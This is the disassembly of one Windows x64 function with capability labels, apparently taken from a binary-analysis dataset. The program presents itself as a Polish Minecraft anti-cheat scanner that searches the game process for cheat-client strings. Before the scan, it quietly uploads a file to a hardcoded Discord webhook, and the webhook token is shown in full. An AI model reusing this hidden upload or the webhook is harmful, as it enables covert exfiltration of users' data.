Function at 0x140003dd0
Capabilities:
Execute command
Get graphical window text
Get system information on windows
Initialize winhttp library
Prepare http request
Receive http response
Send data
Send http request
Set http header
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [0x14000f008]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
mov rbx, rdx
xor r13d, r13d
mov r12d, r13d
mov dword [rsp + 0x50], r13d
mov dword [rbp], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Cpione_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x70], rax
mov r8d, 0x1bb
xor r9d, r9d
lea rdx, str.discordapp.com
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str._api_webhooks_1170162071472701521_hjDUstz67s9vAnHwFKF7iAiKR3vkJ39aNG04xZOn3JvRnLFWPbnmWH6BO6D6wrK4jaWY
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rdi, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x40], r13
cmp qword [rbx + 0x18], 0x10
jb 0x140003e9a
mov rbx, qword [rbx]
lea r8, [rbp]
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.140003890
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa8], xmm1
mov r8d, 0x81
lea rdx, str.__1902_r_nContent_Disposition:_form_data__name_file___filename_czarna_duza_cipa.json__r_nContent_Type:_application_octet_stream_r_n_r_n
lea rcx, [rbp + 0x98]
call fcn.140001c10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], r13
mov r8d, 0xc
lea rdx, str._r_n__1902___r_n
lea rcx, [rbp + 0x60]
call fcn.140001c10
nop
mov r9d, 0x20000000
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_multipart_form_data_boundary__1902
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
mov edx, dword [rbp + 0x70]
add edx, dword [rbp + 0xa8]
mov ebx, dword [rbp]
add edx, ebx
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rbp + 4], r13d
test eax, eax
je 0x140004bb3
lea rdx, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0x10
cmovae rdx, qword [rbp + 0x98]
lea r9, [rbp + 4]
mov r8d, dword [rbp + 0xa8]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpWriteData]
lea r9, [rbp + 4]
mov r8d, ebx
mov rdx, qword [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpWriteData]
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rdx, qword [rbp + 0x60]
lea r9, [rbp + 4]
mov r8d, dword [rbp + 0x70]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpWriteData]
test eax, eax
je 0x140004bb3
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
movzx eax, byte [0x14000f060]
test al, al
jne 0x140003fe0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp al, 1
jne 0x140004bb3
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], r13
mov r8d, 0x13
lea rdx, str.Sprawdzanie_By_Golb
lea rcx, [rbp + 0x40]
call fcn.140001c10
nop
mov edi, r13d
mov rsi, qword [rbp + 0x50]
test rsi, rsi
je 0x140004065
mov rbx, r13
mov r14, qword [rbp + 0x58]
mov r15, qword [rbp + 0x40]
nop word [rax + rax]
lea rax, [rbp + 0x40]
cmp r14, 0x10
cmovae rax, r15
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007090
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
lea rbx, [rbx + 1]
movsxd rax, edi
cmp rax, rsi
jb 0x140004030
lea rdx, [0x140007050]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.color_a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14000ab10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.color_f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8d, 0x16
lea rcx, [rbp + 0x40]
call fcn.140006da0
mov edi, r13d
mov rsi, qword [rbp + 0x50]
test rsi, rsi
je 0x14000424a
mov rbx, r13
mov r12, qword [rbp + 0x40]
mov r14, qword [rbp + 0x58]
nop dword [rax]
lea rax, [rbp + 0x40]
cmp r14, 0x10
cmovae rax, r12
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007090
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
lea rbx, [rbx + 1]
movsxd rax, edi
cmp rax, rsi
jb 0x140004210
mov r12d, dword [rsp + 0x50]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14000ab10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rsi, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rax
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xd0], xmm1
lea r8d, [rax + 4]
lea rdx, str.3m__
lea rcx, [rbp + 0xc0]
call fcn.140001c10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xf0], xmm1
mov r8d, 0x4a
lea rdx, str.meteordevelopment_meteorclient_utils_render_postprocess_postprocessshaders
lea rcx, [rbp + 0xe0]
call fcn.140001c10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x110], xmm1
mov r8d, 0x1c
lea rdx, str.net_wurstclient_features_mod
lea rcx, [rbp + 0x100]
call fcn.140001c10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x130], xmm1
mov r8d, 0xe
lea rdx, str.org_bleachhack
lea rcx, [rbp + 0x120]
call fcn.140001c10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x150], xmm1
mov r8d, 0x10
lea rdx, str.net_impactclient
lea rcx, [rbp + 0x140]
call fcn.140001c10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x170], xmm1
mov r8d, 0x16
lea rdx, str.net_aristois_opencode_
lea rcx, [rbp + 0x160]
call fcn.140001c10
nop
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x180]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.140006840
nop
lea r9, [fcn.1400015e0]
mov edx, 0x20
lea r8d, [rdx - 0x1a]
lea rcx, [rbp + 0xc0]
call fcn.1400080c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rax
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x70], xmm1
lea r8d, [rax + 9]
lea rdx, str.Minecraft
lea rcx, [rbp - 0x80]
call fcn.140001c10
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x50], xmm1
mov r8d, 0xe
lea rdx, str.Feather_Client
lea rcx, [rbp - 0x60]
call fcn.140001c10
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x30], xmm1
mov r8d, 0xf
lea rdx, str.Lunar_Minecraft
lea rcx, [rbp - 0x40]
call fcn.140001c10
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x10], xmm1
mov r8d, 0x11
lea rdx, str.Badlion_Minecraft
lea rcx, [rbp - 0x20]
call fcn.140001c10
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r13
mov ecx, 0x80
call fcn.140007fe0
mov rbx, rax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
lea rcx, [rax + 0x80]
mov qword [rbp + 0x18], rcx
lea rax, [rbp + 8]
mov qword [rsp + 0x50], rax
lea rdi, [rbp - 0x80]
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], rbx
lea rax, [rbp + 8]
mov qword [rbp + 0x30], rax
nop
mov rdx, rdi
mov rcx, rbx
call fcn.140001800
add rbx, 0x20
mov qword [rbp + 0x28], rbx
add rdi, 0x20
lea rax, [rbp]
cmp rdi, rax
jne 0x1400044d0
mov rdx, rbx
mov rcx, rbx
call fcn.140007570
mov qword [rbp + 0x10], rbx
lea r9, [fcn.1400015e0]
mov edx, 0x20
lea r8d, [rdx - 0x1c]
lea rcx, [rbp - 0x80]
call fcn.1400080c0
xor edx, edx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
test rax, rax
mov r13, rax
je 0x140004c22
mov r8d, pe_nt_image_headers64
lea rdx, [rbp + 0xc0]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xor eax, eax
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rax
lea rax, [rbp + 0xc0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140004570
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x20]
call fcn.140001c10
nop
or r12d, 1
mov dword [rbp], r12d
mov rbx, qword [rbp + 8]
mov r15, qword [rbp + 0x10]
cmp rbx, r15
je 0x140004604
mov r14, qword [rbp + 0x38]
mov rdi, qword [rbp + 0x20]
nop dword [rax + rax]
mov rax, qword [rbx + 0x10]
mov r9, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400045c1
mov r9, qword [rbx]
lea rcx, [rbp + 0x20]
cmp r14, 0x10
cmovae rcx, rdi
mov qword [rsp + 0x20], rax
mov rdx, qword [rbp + 0x30]
call fcn.140007360
cmp rax, 0xffffffffffffffff
jne 0x1400045ec
add rbx, 0x20
cmp rbx, r15
jne 0x1400045b0
jmp 0x14000460c
mov rcx, r13
call fcn.1400036b0
test al, al
je 0x140004604
mov bl, 1
mov r14, qword [rbp + 0x38]
mov rdi, qword [rbp + 0x20]
jmp 0x14000460e
mov r14, qword [rbp + 0x38]
mov rdi, qword [rbp + 0x20]
xor bl, bl
test r12b, 1
je 0x14000464b
and r12d, 0xfffffffe
cmp r14, 0x10
jb 0x14000464b
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140004643
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004657
mov rcx, rdi
call fcn.140008024
test bl, bl
jne 0x14000465e
mov rdx, r13
jmp 0x14000451a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test r13, r13
je 0x140004c22
lea rdx, [rbp]
mov rcx, r13
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rbp]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rsi
test rax, rax
jne 0x1400046d3
lea edx, [rax + 4]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Blad
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001a40
lea rdx, [0x140007050]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Znaleziono_Minecrafta_o_PID:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a40
mov edx, dword [rbp]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x14000ac64]
call fcn.140001a40
mov edx, 8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp], 0
jne 0x140004781
mov edx, 4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Nie_udalo_sie_uzyskac_PID
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001a40
lea rdx, [0x140007050]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14000ab10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
mov ebx, dword [rbp]
movdqa xmmword [rbp + 0xc0], xmm0
xor r13d, r13d
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0x140], r13
lea rcx, [rbp + 0x110]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x108], rax
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xc0]
call fcn.1400011f0
mov r15d, r13d
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x20]
call fcn.140001650
nop
mov r12, qword [rbp + 0x28]
mov rbx, qword [rbp + 0x20]
cmp rbx, r12
je 0x140004a19
nop word [rax + rax]
mov r14, qword [rbx + 0x10]
mov rdx, rbx
mov rdi, qword [rbx + 0x18]
cmp rdi, 0x10
jb 0x140004864
mov rdx, qword [rbx]
cmp r14, 4
jne 0x1400048ba
mov rcx, r13
lea r8, str.3m__
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140004899
cmp rcx, 4
jne 0x140004880
mov eax, r13d
jmp 0x14000489e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1400048ba
lea edx, [rax + 4]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Wykryto_Doomsday_Client_
jmp 0x1400049e0
mov rcx, rbx
cmp rdi, 0x10
jb 0x1400048c6
mov rcx, qword [rbx]
cmp r14, 0x4a
jne 0x1400048f7
mov r8, r14
lea rdx, str.meteordevelopment_meteorclient_utils_render_postprocess_postprocessshaders
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400048f7
lea edx, [rax + 4]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Wykryto_Meteor_Client_
jmp 0x1400049e0
mov rcx, rbx
cmp rdi, 0x10
jb 0x140004903
mov rcx, qword [rbx]
cmp r14, 0x1c
jne 0x140004934
mov r8, r14
lea rdx, str.net_wurstclient_features_mod
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140004934
lea edx, [rax + 4]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Wykryto_Wurst_Client_
jmp 0x1400049e0
mov rcx, rbx
cmp rdi, 0x10
jb 0x140004940
mov rcx, qword [rbx]
cmp r14, 0xe
jne 0x14000496e
mov r8, r14
lea rdx, str.org_bleachhack
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000496e
lea edx, [rax + 4]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Wykryto_Bleachhack_Client_
jmp 0x1400049e0
mov rcx, rbx
cmp rdi, 0x10
jb 0x14000497a
mov rcx, qword [rbx]
cmp r14, 0x10
jne 0x1400049a8
mov r8, r14
lea rdx, str.net_impactclient
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400049a8
lea edx, [rax + 4]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Wykryto_Impact_Client_
jmp 0x1400049e0
mov rcx, rbx
cmp rdi, 0x10
jb 0x1400049b4
mov rcx, qword [rbx]
cmp r14, 0x16
jne 0x140004a09
mov r8, r14
lea rdx, str.net_aristois_opencode_
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140004a09
lea edx, [rax + 4]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Wykryto_Aristois_Client_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a40
lea rdx, [0x14000a7f8]
mov rcx, rax
call fcn.140001a40
mov edx, 8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
inc r15d
add rbx, 0x28
cmp rbx, r12
jne 0x140004850
lea rcx, [rbp + 0x20]
call fcn.140001960
test r15d, r15d
jne 0x140004a54
lea edx, [r15 + 1]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Gracz_jest_czysty__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a40
lea edx, [r15 + 8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edx, 2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Zakonczono_skanowanie_aplikacja_po_chwili_sie_zamknie__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a40
mov edx, 8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0xc0]
call fcn.140001960
nop
mov rcx, qword [rbp + 8]
test rcx, rcx
je 0x140004b03
mov rdx, qword [rbp + 0x10]
call fcn.140007570
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rbp + 8]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004af2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004af2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008024
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r13
mov rcx, qword [rbp + 0x80]
test rcx, rcx
je 0x140004b6f
mov rdx, qword [rbp + 0x88]
call fcn.140007570
mov rdx, qword [rbp + 0x90]
mov rcx, qword [rbp + 0x80]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004b58
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008024
mov qword [rbp + 0x80], r13
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x88], xmm0
mov rax, qword [rbp + 0x58]
cmp rax, 0x10
jb 0x140004bae
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ba9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004ba9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008024
mov rdi, qword [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov r8, qword [rsp + 0x40]
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140004c8a
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004c85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004c85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [0x14000ab10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Nie_wykryto_Minecrafta
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001a40
lea rdx, [0x140007050]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.140008024
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0x10
jb 0x140004cde
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004cd9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004cd9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008024
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.140007fc0
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret